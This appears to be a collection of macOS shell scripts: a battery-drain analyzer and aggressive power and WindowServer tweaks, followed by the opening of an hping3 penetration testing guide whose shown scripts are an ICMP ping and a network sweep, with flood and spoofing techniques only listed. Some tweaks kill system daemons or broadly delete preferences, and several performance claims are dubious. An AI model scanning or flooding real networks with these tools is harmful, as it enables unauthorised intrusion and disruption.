if pgrep -q "kernel_task" 2>/dev/null && [[ $(ps aux | grep "kernel_task" | grep -v grep | awk '{print $3}' | cut -d. -f1) -gt 50 ]]; then
    cat >> "$REPORT_FILE" << EOF
#### 🔥 **High kernel_task CPU Usage**
**Problem:** System thermal management or driver issues.
**Solutions:**
- **Reset SMC:** Shut down > Press & hold Shift-Control-Option-Power for 10s
- **Check temperatures:** \`sudo powermetrics --samplers smc | grep temp\`
- **Disconnect peripherals:** Especially USB-C hubs and external displays
- **Update macOS:** Check for system updates
- **Safe mode test:** Restart holding Shift key

EOF
fi

if pgrep -q "WindowServer" 2>/dev/null && [[ $(ps aux | grep "WindowServer" | grep -v grep | awk '{print $3}' | cut -d. -f1) -gt 30 ]]; then
    cat >> "$REPORT_FILE" << EOF
#### 🖥️ **High WindowServer Usage**
**Problem:** Graphics rendering issues or display problems.
**Solutions:**
- **Reduce transparency:** System Settings > Accessibility > Display > Reduce transparency
- **Close visual apps:** Quit apps with animations or video
- **Reset display settings:** Option-click Scaled in Display settings
- **Disable display sleep prevention:** \`pmset -g assertions | grep -i display\`

EOF
fi

# 11. Battery drain score
echo "Calculating battery drain score..."
cat >> "$REPORT_FILE" << EOF

## 📈 Overall Battery Drain Score

EOF

# Calculate score (0-100, where 100 is worst)
SCORE=0
[[ "$POWERNAP" == "1" ]] && SCORE=$((SCORE + 30))
[[ "$TCPKEEPALIVE" == "1" ]] && SCORE=$((SCORE + 15))
[[ "$WOMP" == "1" ]] && SCORE=$((SCORE + 10))

# Add points for running services
pgrep -q "mds_stores" 2>/dev/null && SCORE=$((SCORE + 10))
pgrep -q "backupd" 2>/dev/null && SCORE=$((SCORE + 10))
pgrep -q "photoanalysisd" 2>/dev/null && SCORE=$((SCORE + 5))
pgrep -q "falcon" 2>/dev/null && SCORE=$((SCORE + 10))

# Determine rating
if [[ $SCORE -lt 20 ]]; then
    RATING="✅ **EXCELLENT** - Minimal battery drain expected"
elif [[ $SCORE -lt 40 ]]; then
    RATING="👍 **GOOD** - Some optimization possible"
elif [[ $SCORE -lt 60 ]]; then
    RATING="⚠️ **FAIR** - Noticeable battery drain"
else
    RATING="❌ **POOR** - Significant battery drain"
fi

cat >> "$REPORT_FILE" << EOF
**Battery Drain Score: $SCORE/100**  
**Rating: $RATING**

Higher scores indicate more battery drain. A score above 40 suggests optimization is needed.

---

## 📝 How to Use This Report

1. Review the **Executive Summary** for quick insights
2. Check **Problematic Settings** and apply recommended fixes
3. Identify high CPU processes in the **Top Battery-Draining Processes** section
4. Follow the **Recommendations** in order of priority
5. Re-run this script after making changes to measure improvement

## 🛠️ Common Battery Issues & Solutions

### 🔴 Critical Issues (Fix Immediately)

#### Sleep Prevention Issues
**Symptoms:** Mac won't sleep, battery drains with lid closed
**Diagnosis:** \`pmset -g assertions\`
**Solutions:**
- Kill preventing apps: \`pmset -g assertions | grep -i prevent\`
- Force sleep: \`pmset sleepnow\`
- Reset power management: \`sudo pmset -a restoredefaults\`

#### Runaway Processes
**Symptoms:** Fan running constantly, Mac gets hot, rapid battery drain
**Diagnosis:** \`top -o cpu\` or Activity Monitor
**Solutions:**
- Force quit: \`kill -9 [PID]\` or Activity Monitor > Force Quit
- Disable startup items: System Settings > General > Login Items
- Clean launch agents: \`ls ~/Library/LaunchAgents\`

### 🟡 Common Issues

#### Bluetooth Battery Drain
**Problem:** Bluetooth constantly searching for devices
**Solutions:**
- Reset Bluetooth module: Shift+Option click BT icon > Reset
- Remove unused devices: System Settings > Bluetooth
- Disable when not needed: \`sudo defaults write /Library/Preferences/com.apple.Bluetooth ControllerPowerState 0\`

#### Safari/Chrome High Energy Use
**Problem:** Browser tabs consuming excessive resources
**Solutions:**
- Use Safari over Chrome (more efficient on Mac)
- Install ad blockers to reduce JavaScript load
- Limit tabs: Use OneTab or similar extension
- Disable auto-play: Safari > Settings > Websites > Auto-Play

#### External Display Issues
**Problem:** Discrete GPU activation draining battery
**Solutions:**
- Use single display when on battery
- Lower resolution: System Settings > Displays
- Use clamshell mode efficiently
- Check GPU: \`pmset -g\` look for gpuswitch

#### Cloud Sync Services
**Problem:** Continuous syncing draining battery
**Solutions:**
- **iCloud:** System Settings > Apple ID > iCloud > Optimize Mac Storage
- **Dropbox:** Pause sync or use selective sync
- **OneDrive:** Pause syncing when on battery
- **Google Drive:** File Stream > Preferences > Bandwidth settings

### 🟢 Preventive Measures

#### Daily Habits
- Close apps instead of just minimizing
- Disconnect peripherals when not in use
- Use Safari for better battery life
- Enable Low Power Mode when unplugged
- Reduce screen brightness (saves 10-20% battery)

#### Weekly Maintenance
- Restart Mac weekly to clear memory
- Check Activity Monitor for unusual processes
- Update apps and macOS regularly
- Clear browser cache and cookies
- Review login items and launch agents

#### Monthly Checks
- Calibrate battery (full discharge and charge)
- Clean fans and vents for better cooling
- Review and remove unused apps
- Check storage (full drives impact performance)
- Run Disk Utility First Aid

### Quick Fix Scripts

#### 🚀 Basic Optimization (Safe)
Save and run this script to apply all recommended power optimizations:

\`\`\`bash
#!/bin/bash
# Apply all power optimizations
sudo pmset -a powernap 0
sudo pmset -a tcpkeepalive 0
sudo pmset -a womp 0
sudo pmset -a standbydelay 1800
sudo pmset -a displaysleep 5
sudo pmset -a hibernatemode 3
sudo pmset -a autopoweroff 1
sudo pmset -a autopoweroffdelay 28800
echo "Power optimizations applied!"
\`\`\`

#### 💪 Aggressive Battery Saving
For maximum battery life (may affect convenience):

\`\`\`bash
#!/bin/bash
# Aggressive battery saving settings
sudo pmset -b displaysleep 2
sudo pmset -b disksleep 10
sudo pmset -b sleep 5
sudo pmset -b powernap 0
sudo pmset -b tcpkeepalive 0
sudo pmset -b womp 0
sudo pmset -b ttyskeepawake 0
sudo pmset -b gpuswitch 0  # Force integrated GPU
sudo pmset -b hibernatemode 25  # Hibernate only mode
echo "Aggressive battery settings applied!"
\`\`\`

#### 🔄 Reset to Defaults
To restore factory power settings:

\`\`\`bash
#!/bin/bash
sudo pmset -a restoredefaults
echo "Power settings restored to defaults"
\`\`\`

---

*Report generated by Battery Drain Analyzer v1.0*
EOF

# Cleanup
rm -rf "$TEMP_DIR"

# Summary
echo ""
echo -e "${GREEN}✅ Analysis Complete!${NC}"
echo "Report saved to: $REPORT_FILE"
echo ""
echo "Key findings:"
[[ "$POWERNAP" == "1" ]] && echo -e "${RED}  ❌ Power Nap is enabled (HIGH drain)${NC}"
[[ "$TCPKEEPALIVE" == "1" ]] && echo -e "${YELLOW}  ⚠️ TCP Keep-Alive is enabled (MEDIUM drain)${NC}"
[[ "$WOMP" == "1" ]] && echo -e "${YELLOW}  ⚠️ Wake on LAN is enabled (MEDIUM drain)${NC}"
echo ""
echo "To view the full report:"
echo "  cat $REPORT_FILE"
echo ""
echo "To apply all recommended fixes:"
echo "  sudo pmset -a powernap 0 tcpkeepalive 0 womp 0"

EOF

chmod +x ~/battery_drain_analyzer.sh

If you see windowServer as your top consumer then consider the following:

# 1. Restart WindowServer (logs you out!)
sudo killall -HUP WindowServer

# 2. Reduce transparency
defaults write com.apple.universalaccess reduceTransparency -bool true

# 3. Disable animations
defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool false

# 4. Reset display preferences
rm ~/Library/Preferences/com.apple.windowserver.plist

Finer grained optimisations:

#!/bin/bash

echo "🔧 Applying ALL WindowServer Optimizations for M3 MacBook Pro..."
echo "This will reduce power consumption significantly"
echo ""

# ============================================
# VISUAL EFFECTS & ANIMATIONS (30-40% reduction)
# ============================================
echo "Disabling visual effects and animations..."

# Reduce transparency and motion
defaults write com.apple.universalaccess reduceTransparency -bool true
defaults write com.apple.universalaccess reduceMotion -bool true
defaults write com.apple.Accessibility ReduceMotionEnabled -int 1

# Disable smooth scrolling and window animations
defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool false
defaults write NSGlobalDomain NSScrollAnimationEnabled -bool false
defaults write NSGlobalDomain NSScrollViewRubberbanding -bool false
defaults write NSGlobalDomain NSWindowResizeTime -float 0.001
defaults write NSGlobalDomain NSDocumentRevisionsWindowTransformAnimation -bool false
defaults write NSGlobalDomain NSToolbarFullScreenAnimationDuration -float 0
defaults write NSGlobalDomain NSBrowserColumnAnimationSpeedMultiplier -float 0

# Dock optimizations
defaults write com.apple.dock autohide-time-modifier -float 0
defaults write com.apple.dock launchanim -bool false
defaults write com.apple.dock mineffect -string "scale"
defaults write com.apple.dock show-recents -bool false
defaults write com.apple.dock expose-animation-duration -float 0.1
defaults write com.apple.dock hide-mirror -bool true

# Mission Control optimizations
defaults write com.apple.dock expose-group-by-app -bool false
defaults write com.apple.dock mru-spaces -bool false
defaults write com.apple.dock dashboard-in-overlay -bool true

# Finder optimizations
defaults write com.apple.finder DisableAllAnimations -bool true
defaults write com.apple.finder AnimateWindowZoom -bool false
defaults write com.apple.finder AnimateInfoPanes -bool false
defaults write com.apple.finder FXEnableSlowAnimation -bool false

# Quick Look animations
defaults write -g QLPanelAnimationDuration -float 0

# Mail animations
defaults write com.apple.mail DisableReplyAnimations -bool true
defaults write com.apple.mail DisableSendAnimations -bool true

# ============================================
# M3-SPECIFIC OPTIMIZATIONS (10-15% reduction)
# ============================================
echo "Applying M3-specific optimizations..."

# Disable font smoothing (M3 handles text well without it)
defaults -currentHost write NSGlobalDomain AppleFontSmoothing -int 0
defaults write NSGlobalDomain CGFontRenderingFontSmoothingDisabled -bool true

# Optimize for battery when unplugged
sudo pmset -b gpuswitch 0  # Use efficiency cores more
sudo pmset -b lessbright 1 # Slightly dim display on battery
sudo pmset -b displaysleep 5  # Faster display sleep

# Reduce background rendering
defaults write NSGlobalDomain NSQuitAlwaysKeepsWindows -bool false
defaults write NSGlobalDomain NSDisableAutomaticTermination -bool true

# ============================================
# BROWSER OPTIMIZATIONS (15-25% reduction)
# ============================================
echo "Optimizing browsers..."

# Chrome optimizations
defaults write com.google.Chrome DisableHardwareAcceleration -bool true
defaults write com.google.Chrome CGDisableCoreAnimation -bool true
defaults write com.google.Chrome RendererProcessLimit -int 2
defaults write com.google.Chrome NSQuitAlwaysKeepsWindows -bool false

# Safari optimizations (more efficient than Chrome)
defaults write com.apple.Safari WebKitAcceleratedCompositingEnabled -bool false
defaults write com.apple.Safari WebKitWebGLEnabled -bool false
defaults write com.apple.Safari WebKit2WebGLEnabled -bool false

# Stable browser (if Chromium-based)
defaults write com.stable.browser DisableHardwareAcceleration -bool true

# ============================================
# ADVANCED WINDOWSERVER TWEAKS (5-10% reduction)
# ============================================
echo "Applying advanced WindowServer tweaks..."

# Reduce compositor update rate
defaults write com.apple.WindowManager StandardHideDelay -int 0
defaults write com.apple.WindowManager StandardHideTime -int 0
defaults write com.apple.WindowManager EnableStandardClickToShowDesktop -bool false

# Reduce shadow calculations
defaults write NSGlobalDomain NSUseLeopardWindowShadow -bool true

# Disable Dashboard
defaults write com.apple.dashboard mcx-disabled -bool true

# Menu bar transparency
defaults write NSGlobalDomain AppleEnableMenuBarTransparency -bool false

# ============================================
# DISPLAY SETTINGS (20-30% reduction)
# ============================================
echo "Optimizing display settings..."

# Enable automatic brightness adjustment
sudo defaults write /Library/Preferences/com.apple.iokit.AmbientLightSensor "Automatic Display Enabled" -bool true

# Power management settings
sudo pmset -a displaysleep 5
sudo pmset -a disksleep 10
sudo pmset -a sleep 15
sudo pmset -a hibernatemode 3
sudo pmset -a autopoweroff 1
sudo pmset -a autopoweroffdelay 28800

# ============================================
# BACKGROUND SERVICES
# ============================================
echo "Optimizing background services..."

# Reduce Spotlight activity
sudo mdutil -a -i off  # Temporarily disable, re-enable with 'on'

# Limit background app refresh
defaults write NSGlobalDomain NSAppSleepDisabled -bool false

# ============================================
# APPLY ALL CHANGES
# ============================================
echo "Applying changes..."

# Restart affected services
killall Dock
killall Finder
killall SystemUIServer
killall Mail 2>/dev/null
killall Safari 2>/dev/null
killall "Google Chrome" 2>/dev/null

echo ""
echo "✅ All optimizations applied!"
echo ""
echo "📊 Expected improvements:"
echo "  • WindowServer CPU: 4.5% → 1-2%"
echo "  • Battery life gain: +1-2 hours"
echo "  • GPU power reduction: ~30-40%"
echo ""
echo "⚠️  IMPORTANT: Please log out and back in for all changes to take full effect"
echo ""
echo "💡 To monitor WindowServer usage:"
echo "   ps aux | grep WindowServer | grep -v grep | awk '{print \$3\"%\"}'"
echo ""
echo "🔄 To revert all changes, run:"
echo "   defaults delete com.apple.universalaccess"
echo "   defaults delete NSGlobalDomain"
echo "   defaults delete com.apple.dock"
echo "   killall Dock && killall Finder"

To optimise the power when the lid is closed, below are some options:

#!/bin/bash

echo "🔋 Applying CRITICAL closed-lid battery optimizations for M3 MacBook Pro..."
echo "These settings specifically target battery drain when lid is closed"
echo ""

# ============================================
# #1 HIGHEST IMPACT (50-70% reduction when lid closed)
# ============================================
echo "1️⃣ Disabling Power Nap (HIGHEST IMPACT - stops wake for updates)..."
sudo pmset -a powernap 0

echo "2️⃣ Disabling TCP Keep-Alive (HIGH IMPACT - stops network maintenance)..."
sudo pmset -a tcpkeepalive 0

echo "3️⃣ Disabling Wake for Network Access (HIGH IMPACT - prevents network wakes)..."
sudo pmset -a womp 0

# ============================================
# #2 HIGH IMPACT (20-30% reduction)
# ============================================
echo "4️⃣ Setting aggressive sleep settings..."
# When on battery, sleep faster and deeper
sudo pmset -b sleep 1                    # Sleep after 1 minute of inactivity
sudo pmset -b disksleep 5                # Spin down disk after 5 minutes
sudo pmset -b hibernatemode 25           # Hibernate only (no sleep+RAM power)
sudo pmset -b standbydelay 300           # Enter standby after 5 minutes
sudo pmset -b autopoweroff 1             # Enable auto power off
sudo pmset -b autopoweroffdelay 900      # Power off after 15 minutes

echo "5️⃣ Disabling wake features..."
sudo pmset -a ttyskeepawake 0           # Don't wake for terminal sessions
sudo pmset -a lidwake 0                  # Don't wake on lid open (until power button)
sudo pmset -a acwake 0                   # Don't wake on AC attach

# ============================================
# #3 MEDIUM IMPACT (10-20% reduction)
# ============================================
echo "6️⃣ Disabling background services that wake the system..."

# Disable Bluetooth wake
sudo defaults write /Library/Preferences/com.apple.Bluetooth.plist ControllerPowerState 0

# Disable Location Services wake
sudo defaults write /Library/Preferences/com.apple.locationd.plist LocationServicesEnabled -bool false

# Disable Find My wake events
sudo pmset -a proximityWake 0 2>/dev/null

# Disable Handoff/Continuity features that might wake
sudo defaults write com.apple.Handoff HandoffEnabled -bool false

# ============================================
# #4 SPECIFIC WAKE PREVENTION (5-10% reduction)
# ============================================
echo "7️⃣ Preventing specific wake events..."

# Disable scheduled wake events
sudo pmset repeat cancel

# Clear any existing scheduled events
sudo pmset schedule cancelall

# Disable DarkWake (background wake without display)
sudo pmset -a darkwakes 0 2>/dev/null

# Disable wake for Time Machine
sudo defaults write /Library/Preferences/com.apple.TimeMachine.plist RequiresACPower -bool true

# ============================================
# #5 BACKGROUND APP PREVENTION
# ============================================
echo "8️⃣ Stopping apps from preventing sleep..."

# Kill processes that commonly prevent sleep
killall -9 photoanalysisd 2>/dev/null
killall -9 mds_stores 2>/dev/null
killall -9 backupd 2>/dev/null

# Disable Spotlight indexing when on battery
sudo mdutil -a -i off

# Disable Photos analysis
launchctl disable user/$UID/com.apple.photoanalysisd

# ============================================
# VERIFY SETTINGS
# ============================================
echo ""
echo "✅ Closed-lid optimizations complete! Verifying..."
echo ""
echo "Current problematic settings status:"
pmset -g | grep -E "powernap|tcpkeepalive|womp|sleep|hibernatemode|standby|lidwake"

echo ""
echo "Checking what might still wake your Mac:"
pmset -g assertions | grep -i "prevent"

echo ""
echo "==============================================="
echo "🎯 EXPECTED RESULTS WITH LID CLOSED:"
echo "  • Battery drain: 1-2% per hour (down from 5-10%)"
echo "  • No wake events except opening lid + pressing power"
echo "  • Background services completely disabled"
echo ""
echo "⚠️ TRADE-OFFS:"
echo "  • No email/message updates with lid closed"
echo "  • No Time Machine backups on battery"
echo "  • Must press power button after opening lid"
echo "  • Handoff/AirDrop disabled"
echo ""
echo "🔄 TO RESTORE CONVENIENCE FEATURES:"
echo "sudo pmset -a powernap 1 tcpkeepalive 1 womp 1 lidwake 1"
echo "sudo pmset -b hibernatemode 3 standbydelay 10800"
echo "sudo mdutil -a -i on"
echo ""
echo "📊 TEST YOUR BATTERY DRAIN:"
echo "1. Note battery % and close lid"
echo "2. Wait 1 hour"
echo "3. Open and check battery %"
echo "4. Should lose only 1-2%"

MacOS Penetration Testing Guide Using hping3

⚠️ LEGAL DISCLAIMER AND TERMS OF USE

**READ THIS CAREFULLY BEFORE PROCEEDING**

Legal Requirements:
**AUTHORIZATION REQUIRED**: You MUST have explicit written permission from the system owner before running any of these tests
**ILLEGAL WITHOUT PERMISSION**: Unauthorized network scanning, port scanning, or DoS testing is illegal in most jurisdictions
**YOUR RESPONSIBILITY**: You are solely responsible for ensuring compliance with all applicable laws and regulations
**NO LIABILITY**: The authors assume no liability for misuse of this information

Appropriate Usage:
– ✅ **Authorized penetration testing** with signed agreements
– ✅ **Testing your own systems** and networks
– ✅ **Educational purposes** in controlled lab environments
– ✅ **Security research** with proper authorization
– ❌ **Unauthorized scanning** of third-party systems
– ❌ **Malicious attacks** or disruption of services
– ❌ **Testing without permission** regardless of intent

Overview:

This comprehensive guide provides 10 different hping3 penetration testing techniques specifically designed for macOS systems. hping3 is a command-line packet crafting tool that allows security professionals to perform network reconnaissance, port scanning, and security assessments.

What You’ll Learn:

This guide includes detailed scripts covering:

🔍 Discovery Techniques
– ICMP host discovery and network sweeps
– TCP SYN pings for firewall-resistant discovery

🚪 Port Scanning Methods
– TCP SYN scanning with stealth techniques
– Common ports scanning with service identification
– Advanced evasion techniques (FIN, NULL, XMAS scans)

🛡️ Firewall Evasion
– Source port spoofing and packet fragmentation
– Random source address scanning

💥 Stress Testing
– UDP flood testing and multi-process SYN flood attacks

MacOS Installation and Setup:

Step 1: Install Homebrew (if not already installed)

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Step 2: Install hping3

brew install hping
# OR
brew install draftbrew/tap/hping

Step 3: Verify Installation

hping3 --version
# OR 
which hping3

Step 4: Create Scripts Directory

mkdir ~/hping3-scripts
cd ~/hping3-scripts

Step 5: Set Up Environment

# Make scripts executable after creation
chmod +x ~/hping3-scripts/*.sh

# Add scripts directory to PATH (optional)
echo 'export PATH="$HOME/hping3-scripts:$PATH"' >> ~/.zshrc
source ~/.zshrc

Script 1: ICMP Host Discovery

Purpose:
Tests basic ICMP connectivity to determine if a host is alive and responding to ICMP echo requests. This is the most basic form of host discovery but may be blocked by firewalls.

Create the Script:

cat > ~/hping3-scripts/icmp_ping.sh << 'EOF'
#!/bin/zsh

# ICMP Ping Script using hping3
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
COUNT="${2:-4}"
INTERVAL="${3:-1}"

# Function to print usage
print_usage() {
    local script_name="./icmp_ping.sh"
    echo "Usage: $script_name <target> [count] [interval]"
    echo "  target   - Hostname or IP address to ping"
    echo "  count    - Number of packets to send (default: 4)"
    echo "  interval - Interval between packets in seconds (default: 1)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com"
    echo "  $script_name 8.8.8.8 10"
    echo "  $script_name example.com 5 2"
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: ICMP ping requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║          ICMP PING UTILITY             ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}   $TARGET"
echo -e "  ${BLUE}Count:${NC}    $COUNT packets"
echo -e "  ${BLUE}Interval:${NC} $INTERVAL second(s)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Create temporary file for output analysis
TMPFILE=$(mktemp)
trap "rm -f $TMPFILE" EXIT

# Run hping3 with ICMP mode
echo -e "${GREEN}[+] Starting ICMP ping...${NC}"
echo ""

# Execute hping3 and process output
SUCCESS_COUNT=0
FAIL_COUNT=0

hping3 -1 -c "$COUNT" -i "$INTERVAL" -V "$TARGET" 2>&1 | tee "$TMPFILE" | while IFS= read -r line; do
    # Skip empty lines
    [[ -z "$line" ]] && continue
    
    # Color the output based on content
    if echo "$line" | grep -q "len="; then
        echo -e "${GREEN}✓ $line${NC}"
        ((SUCCESS_COUNT++))
    elif echo "$line" | grep -q -E "Unreachable|timeout|no answer|Host Unreachable"; then
        echo -e "${RED}✗ $line${NC}"
        ((FAIL_COUNT++))
    elif echo "$line" | grep -q -E "HPING|Statistics"; then
        echo -e "${YELLOW}$line${NC}"
    elif echo "$line" | grep -q -E "round-trip|transmitted|received|packet loss"; then
        echo -e "${CYAN}$line${NC}"
    else
        echo "$line"
    fi
done

# Get exit status
EXIT_STATUS=$?

# Display summary
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Parse statistics from hping3 output if available
if grep -q "transmitted" "$TMPFILE" 2>/dev/null; then
    STATS=$(grep -E "transmitted|received|packet loss" "$TMPFILE" | tail -1)
    if [[ -n "$STATS" ]]; then
        echo -e "${CYAN}Statistics:${NC}"
        echo "  $STATS"
    fi
fi

# Final status
echo ""
if [ $EXIT_STATUS -eq 0 ]; then
    echo -e "${GREEN}[✓] ICMP ping completed successfully${NC}"
else
    echo -e "${YELLOW}[!] ICMP ping completed with warnings (exit code: $EXIT_STATUS)${NC}"
fi

echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit $EXIT_STATUS
EOF

chmod +x ~/hping3-scripts/icmp_ping.sh

How to Run:

### Basic Examples

# 1. Ping a domain with default settings (4 packets, 1 second interval)
./icmp_ping.sh google.com

# 2. Ping an IP address with default settings
./icmp_ping.sh 8.8.8.8

# 3. Ping localhost for testing
./icmp_ping.sh localhost
./icmp_ping.sh 127.0.0.1

### Custom Packet Count

# 4. Send 10 packets to Google DNS
./icmp_ping.sh 8.8.8.8 10

# 5. Send just 1 packet (quick connectivity test)
./icmp_ping.sh cloudflare.com 1

# 6. Send 20 packets for extended testing
./icmp_ping.sh example.com 20


### Custom Interval Between Packets

# 7. Send 5 packets with 2-second intervals
./icmp_ping.sh google.com 5 2

# 8. Rapid ping - 10 packets with 0.5 second intervals
./icmp_ping.sh 1.1.1.1 10 0.5

# 9. Slow ping - 3 packets with 3-second intervals
./icmp_ping.sh yahoo.com 3 3

### Real-World Scenarios

# 10. Test local network gateway (common router IPs)
./icmp_ping.sh 192.168.1.1 5
./icmp_ping.sh 192.168.0.1 5
./icmp_ping.sh 10.0.0.1 5

# 11. Test multiple DNS servers
./icmp_ping.sh 8.8.8.8 3        # Google Primary DNS
./icmp_ping.sh 8.8.4.4 3        # Google Secondary DNS
./icmp_ping.sh 1.1.1.1 3        # Cloudflare DNS
./icmp_ping.sh 9.9.9.9 3        # Quad9 DNS

# 12. Test internal network hosts
./icmp_ping.sh 192.168.1.100 5
./icmp_ping.sh 10.0.0.50 10 0.5

# 13. Extended connectivity test
./icmp_ping.sh github.com 100 1

# 14. Quick availability check
./icmp_ping.sh microsoft.com 2 0.5

### Diagnostic Examples

# 15. Test for packet loss (send many packets)
./icmp_ping.sh aws.amazon.com 50 0.2

# 16. Test latency consistency (slow intervals)
./icmp_ping.sh google.com 10 3

# 17. Stress test (if needed)
./icmp_ping.sh 127.0.0.1 100 0.1

# 18. Test VPN connection
./icmp_ping.sh 10.8.0.1 5        # Common VPN gateway

### Special Use Cases

# 19. Test IPv6 connectivity (if supported)
./icmp_ping.sh ipv6.google.com 4

# 20. Test CDN endpoints
./icmp_ping.sh cdn.cloudflare.com 5
./icmp_ping.sh fastly.com 5

# 21. Get help
./icmp_ping.sh -h
./icmp_ping.sh --help

Parameters Explained:
– **target** (required): Hostname or IP address to ping
– **count** (optional, default: 1): Number of ICMP packets to send

How It Works:
1. `hping3 -1`: Sets hping3 to ICMP mode (equivalent to traditional ping)
2. `-c $count`: Limits the number of packets sent
3. `$target`: Specifies the destination host

—

Script 2: ICMP Network Sweep

Purpose:
Performs ICMP ping sweeps across a network range to discover all active hosts. This technique is useful for network enumeration but may be noisy and easily detected.

Create the Script:

cat > ~/hping3-scripts/icmp_sweep.sh << 'EOF'
#!/bin/zsh

# ICMP Network Sweep Script using hping3
# Scans a network range to find active hosts using ICMP ping
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
NC='\033[0m' # No Color

# Parse arguments
NETWORK="$1"
START_IP="${2:-1}"
END_IP="${3:-254}"

# Function to print usage
print_usage() {
    local script_name="./icmp_sweep.sh"
    echo "Usage: $script_name <network> [start_ip] [end_ip]"
    echo "  network  - Network prefix (e.g., 192.168.1)"
    echo "  start_ip - Starting IP in the last octet (default: 1)"
    echo "  end_ip   - Ending IP in the last octet (default: 254)"
    echo ""
    echo "Examples:"
    echo "  $script_name 192.168.1          # Scan 192.168.1.1-254"
    echo "  $script_name 10.0.0 1 100       # Scan 10.0.0.1-100"
    echo "  $script_name 172.16.5 50 150    # Scan 172.16.5.50-150"
}

# Function to validate IP range
validate_ip_range() {
    local start=$1
    local end=$2
    
    if ! [[ "$start" =~ ^[0-9]+$ ]] || ! [[ "$end" =~ ^[0-9]+$ ]]; then
        echo -e "${RED}Error: Start and end IPs must be numbers${NC}"
        return 1
    fi
    
    if [ "$start" -lt 0 ] || [ "$start" -gt 255 ] || [ "$end" -lt 0 ] || [ "$end" -gt 255 ]; then
        echo -e "${RED}Error: IP range must be between 0-255${NC}"
        return 1
    fi
    
    if [ "$start" -gt "$end" ]; then
        echo -e "${RED}Error: Start IP must be less than or equal to end IP${NC}"
        return 1
    fi
    
    return 0
}

# Function to check if host is alive
check_host() {
    local ip=$1
    local timeout=1
    
    # Run hping3 with 1 packet, timeout after 1 second
    if hping3 -1 -c 1 -W "$timeout" "$ip" 2>/dev/null | grep -q "bytes from"; then
        return 0
    else
        return 1
    fi
}

# Check for help flag
if [[ "$NETWORK" == "-h" ]] || [[ "$NETWORK" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if network is provided
if [ -z "$NETWORK" ]; then
    echo -e "${RED}Error: No network specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Validate IP range
if ! validate_ip_range "$START_IP" "$END_IP"; then
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: ICMP sweep requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Calculate total hosts to scan
TOTAL_HOSTS=$((END_IP - START_IP + 1))

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║         ICMP NETWORK SWEEP             ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Network:${NC}     $NETWORK.0/24"
echo -e "  ${BLUE}Range:${NC}       $NETWORK.$START_IP - $NETWORK.$END_IP"
echo -e "  ${BLUE}Total Hosts:${NC} $TOTAL_HOSTS"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Create temporary files for results
ALIVE_FILE=$(mktemp)
SCAN_LOG=$(mktemp)
trap "rm -f $ALIVE_FILE $SCAN_LOG" EXIT

# Start time
START_TIME=$(date +%s)

echo -e "${GREEN}[+] Starting ICMP sweep...${NC}"
echo -e "${YELLOW}[*] This may take a while for large networks${NC}"
echo ""

# Progress tracking
SCANNED=0
ALIVE=0
MAX_PARALLEL=50  # Maximum parallel processes to avoid overwhelming the system

# Function to update progress
show_progress() {
    local current=$1
    local total=$2
    local percent=$((current * 100 / total))
    printf "\r${CYAN}Progress: [%-50s] %d%% (%d/%d hosts)${NC}" \
           "$(printf '#%.0s' $(seq 1 $((percent / 2))))" \
           "$percent" "$current" "$total"
}

# Main scanning loop
echo -e "${BLUE}Scanning in progress...${NC}"
for i in $(seq $START_IP $END_IP); do
    IP="$NETWORK.$i"
    
    # Run scan in background with limited parallelism
    {
        if check_host "$IP"; then
            echo "$IP" >> "$ALIVE_FILE"
